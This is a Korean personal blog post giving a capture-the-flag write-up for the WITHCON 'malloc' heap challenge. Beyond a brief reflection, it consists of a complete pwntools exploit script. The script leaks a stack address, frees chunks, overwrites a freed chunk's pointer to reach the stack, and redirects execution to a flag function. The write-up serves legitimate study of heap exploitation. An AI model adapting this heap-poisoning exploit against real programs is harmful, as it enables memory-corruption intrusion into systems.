Notice
Recent Posts
Recent Comments
Link
«   2025/04   »
1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

WITHCON malloc 본문

Security/Pwnable

WITHCON malloc

Cdor1 2016. 11. 7. 03:43

후기 : 화이트햇 예선때 못 풀었던 문제이다.

풀면서 힙에 대한 공부를 많이 하게된 것 같아 좋다.


from pwn import *

s = remote('localhost', 4000)
#elf = ELF('/home/cdor1/pwnable/malloc')

#dummy = 'A%sA%nA%(A%)A%;A%0A%1A%2A%3A%4A%'
stack = int(s.recvline().split(':')[1],16)
get_flag = 0x400986

print '[*] stack : ' + hex(stack)

for i in range(0,2):
	print s.recvuntil('>')
	s.sendline('1')
	print s.recvuntil(':')
	s.sendline('32')
	s.sendline('A'*32)

for i in range(3,0,-1):
	print s.recvuntil('>')
	s.sendline('2')
	print s.recvuntil(':')
	s.sendline(str(i))

print s.recvuntil('>')
s.sendline('4')
print s.recvuntil(':')
s.sendline('1')
print s.recvuntil(':')
s.sendline('A'*32 + p64(stack-0x50))


print s.recvuntil('>')
s.sendline('1')
print s.recvuntil(':')
s.sendline('32')
print s.recvuntil(':')
s.sendline('A'*32)

print s.recvuntil('>')
s.sendline('1')
print s.recvuntil(':')
s.sendline('32')
print s.recvuntil(':')
s.sendline('A'*24 + p64(get_flag))

s.interactive()

'Security > Pwnable' 카테고리의 다른 글

BCTF bcloud  (0) 2016.11.17
DEFCON22 Quals babyfirst-heap  (0) 2016.11.10
DCTF Warm Heap  (0) 2016.11.04
how2heap 번역본  (0) 2016.11.03
YISF2016 Final pwnable  (2) 2016.10.01
Comments